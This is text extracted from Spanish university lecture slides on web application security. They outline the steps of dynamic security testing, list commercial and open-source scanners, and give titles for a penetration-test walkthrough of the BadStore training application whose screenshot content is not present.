Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Evaluación de la seguridad: DAST →
análisis automático → PASOS

1. CRAWLING-SPIDERING → Descubrimiento sitio web


Grabación manual secuencias de logging

2. SCAN PASIVO → análisis de cabeceras http

3. SCAN ACTIVO → inyección de cadenas maliciosas


(payloads)

4. AUDITORÍA →Comprobación manual de resultados

69
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Evaluación de la seguridad: DAST COMMERCIAL TOOLS
▪ Acunetix WVS by Acunetix
▪ AppScan by IBM
▪ Burp Suite Professional by PortSwigger
▪ Hailstorm by Cenzic
▪ N-Stalker by N-Stalker
▪ Nessus by Tenable Network Security
▪ NetSparker by Mavituna Security
▪ NeXpose by Rapid7
▪ NTOSpider by NTObjectives
▪ ParosPro by MileSCAN Technologies
▪ Retina Web Security Scanner by eEye Digital Security
▪ WebApp360 by nCircle
▪ WebInspect by HP WebKing
▪ by Parasoft Websecurify by
▪ GNUCITIZEN

70
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Evaluación de la seguridad: DAST OPEN SOURCE TOOLS
▪ Arachni by Tasos Laskos
▪ Grabber by Romain Gaucher
▪ Grendel-Scan by David Byrne and Eric Duprey
▪ Paros by Chinotec
▪ Andiparos
▪ Zed Attack Proxy
▪ Powerfuzzer by Marcin Kozlowski
▪ SecurityQA Toolbar by iSEC Partners
▪ Skipfish by Michal Zalewski
▪ W3AF by Andres Riancho
▪ Wapiti by Nicolas Surribas
▪ Watcher by Casaba Security
▪ WATOBO by siberas
▪ Websecurify by GNUCITIZEN
▪ Zero Day Scan

http://www.seectoolmarket.com

71
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Test de penetración: BADSTORE

Toogle
tools

72
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Test de penetración: BADSTORE : opciones

73
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Test de penetración: BADSTORE : crawling + scan pasivo

74
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Test de penetración: BADSTORE : include context

75
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Test de penetración: BADSTORE : crawling 2

76
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Test de penetración: BADSTORE : SCAN ACTIVO

77
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Test de penetración: BADSTORE : Auditoria

78
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Test de penetración: BADSTORE : Auditoría

79
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Test de penetración: BADSTORE : Auditoría

80
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Test de penetración: BADSTORE : Auditoría

81
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Test de penetración: BADSTORE : Auditoría

82
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Test de penetración: BADSTORE : Auditoría

83
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Test de penetración: BADSTORE : Auditoría

84
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Test de penetración: BADSTORE : Auditoría

85
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
Test de penetración: BADSTORE : Auditoría

86
Seguridad de aplicaciones online y BD- Juan Ramón Bermejo Higuera
www.unir.net

También podría gustarte